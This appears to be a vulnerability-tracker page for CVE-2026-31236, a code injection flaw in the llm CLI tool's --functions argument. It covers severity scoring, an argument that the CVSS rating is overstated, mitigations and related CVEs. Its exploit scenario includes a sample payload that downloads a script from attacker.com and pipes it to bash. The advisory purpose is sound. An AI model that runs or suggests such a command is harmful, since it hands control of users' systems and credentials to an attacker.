Skip to main content

llm CLI tool CVE-2026-31236

| EUVDEUVD-2026-29559 CRITICAL
Code Injection (CWE-94)
2026-05-12 mitre GHSA-g76p-4vg5-f4qh
9.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious llm command
  2. Delivery
    Distribute via social engineering
  3. Exploit
    Victim executes command
  4. Execution
    Unsafe exec() processes --functions
  5. Persist
    Arbitrary Python code runs
  6. Impact
    System compromise with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to execute an llm command containing malicious code in the --functions argument, typically delivered via social engineering (forum posts, documentation examples, AI-generated suggestions, chat messages). The vulnerability affects default configurations of llm CLI tool through version 0.27.1 with no special feature enablement required. Critical limiting factors significantly reduce real-world risk: (1) Requires victim user interaction to manually execute the crafted command (CVSS UI:N is incorrect - actual UI:R); (2) Attack is local to the victim's system, not remotely executable across networks (CVSS AV:N is incorrect - actual AV:L); (3) Attacker gains only the privileges of the user running the command, not root unless the user is privileged; (4) Requires the llm tool to be installed and in the victim's PATH; (5) Sophisticated users may inspect command arguments before execution, though --functions content may be obfuscated within long command strings. Unlike typical CVSS 9.8 vulnerabilities with true network vectors, this cannot be exploited through automated scanning or direct network requests.

Impact

This vulnerability presents a significant risk-reality mismatch that security teams must carefully evaluate. The CVSS 9.8 Critical rating assumes AV:N (network attack vector) with PR:N (no privileges required) and UI:N (no user interaction), suggesting remote unauthenticated exploitation. However, the actual attack mechanism requires social engineering to convince a local user to execute a malicious llm command, fundamentally contradicting the CVSS network vector assumption. The real attack vector is AV:L with UI:R (user interaction required). EPSS probability of 0.02% (5th percentile) aligns with low real-world risk - exploitation requires targeted social engineering rather than automated scanning. No CISA KEV listing exists, and no public exploit identified at time of analysis. SSVC decision factors: Exploitation requires significant user interaction (not automatable), technical impact is total system compromise (high), but exploitation status is none confirmed. Priority should be MODERATE rather than CRITICAL despite the inflated CVSS score. The primary risk is to users who routinely execute commands from untrusted sources (documentation, forums, ChatGPT responses) - organizations should assess whether their users fit this behavioral profile before prioritizing deployment urgency.

Exploit ScenarioDerived

An attacker posts a helpful-looking llm command in a developer forum, Slack channel, or ChatGPT prompt response that includes '--functions "import os; os.system('curl attacker.com/mal.sh | bash')"' disguised within legitimate-appearing function code. A developer copies and executes this command, triggering immediate arbitrary code execution with their user privileges. The attacker's payload establishes persistence via cron jobs, exfiltrates credentials from the developer's home directory, and pivots to internal systems accessible from the compromised workstation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Arbitrary code execution occurs in the llm CLI tool (versions through 0.27.1) when attackers social-engineer victims into running crafted commands containing malicious Python code in the --functions argument. The tool directly executes this code via unsafe exec() without sanitization, enabling full system compromise. CVSS 9.8 assigns network attack vector and no authentication, but real-world exploitation requires local command execution by a tricked user, creating a significant disparity between the vector and actual attack prerequisites. EPSS score of 0.02% (5th percentile) suggests minimal automated exploitation risk, and no active exploitation or public POC has been identified at time of analysis.

RemediationAI

Upgrade to llm CLI tool version 0.27.2 or later if available, verifying fix status at the official GitHub repository (github.com/simonw/llm) and the vendor's Notion advisory page. As of this analysis, no specific patch version has been independently confirmed from vendor advisories - organizations must monitor the GitHub releases page for security updates. If immediate patching is not feasible, implement these specific compensating controls: (1) Disable or restrict the --functions argument through wrapper scripts that filter this parameter before executing llm commands, noting this breaks legitimate custom function use cases; (2) Educate users never to execute llm commands from untrusted sources including AI-generated suggestions, forum posts, or documentation without manual code review of all arguments; (3) Deploy application control policies (AppLocker, SELinux) to restrict llm execution to approved scripts only, which may reduce workflow flexibility; (4) Run llm commands in isolated containers or VMs with minimal privileges, accepting the operational overhead of containerized workflows. Long-term architectural fix requires the llm project to implement AST-based code validation, restricted execution contexts using Python's compile() with limited builtins, or subprocess isolation for function evaluation.

Affected VersionsENISA

n/a n/a

Affected Packages

pypi llm no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The llm CLI tool is a command-line interface for interacting with large language models. The vulnerability stems from CWE-94 (Improper Control of Generation of Code), where the --functions argument accepts user-supplied Python function definitions intended for extending the tool's capabilities. The implementation uses Python's exec() function to evaluate this input directly in the application's runtime context without input validation, AST sanitization, or restricted execution environments (no use of RestrictedPython, sandboxing via subprocess isolation, or capability restrictions). This design flaw allows arbitrary Python code execution with the privileges of the user running the llm command. The CPE data shows 'n/a:n/a', indicating incomplete vendor/product taxonomy in vulnerability databases, though GitHub references confirm the affected product is simonw/llm.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 7.3 HIGH

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
May 14, 2026 - 20:22 NVD
9.8 (CRITICAL)
CVE Published
May 12, 2026 - 00:00 nvd
CRITICAL 9.8
CVE Published
May 12, 2026 - 00:00 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

The llm CLI tool thru 0.27.1 contains a critical code injection vulnerability via its --functions command-line argument. This argument is intended to allow users to provide custom Python function definitions. However, the tool directly executes the provided code using the unsafe exec() function without any sanitization, sandboxing, or security restrictions. An attacker can exploit this by crafting a malicious llm command with arbitrary Python code in the --functions argument and using social engineering to trick a victim into running it. This leads to arbitrary code execution on the victim's system, potentially granting the attacker full control.

Executive ViewAI

Why It Matters

CVE-2026-31236 affects the llm CLI tool through version 0.27.1 and enables arbitrary code execution when users are socially engineered into executing malicious commands. While rated CRITICAL with a 9.8 CVSS score, actual exploitation requires user interaction and local command execution, limiting immediate organizational risk; however, any compromise of developer workstations or data science environments could result in full system access and credential theft.

Business Impact: Medium
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or uninstall llm CLI in non-essential environments; (2) implement strict access controls limiting CLI usage to named developer accounts; (3) require code review and security approval before executing any llm commands containing --functions arguments; (4) deploy endpoint detection and response (EDR) tools to monitor for suspicious Python process spawning from CLI tool execution; (5) educate developers on social engineering risks and establish policy prohibiting execution of untrusted command syntax.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Medium
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy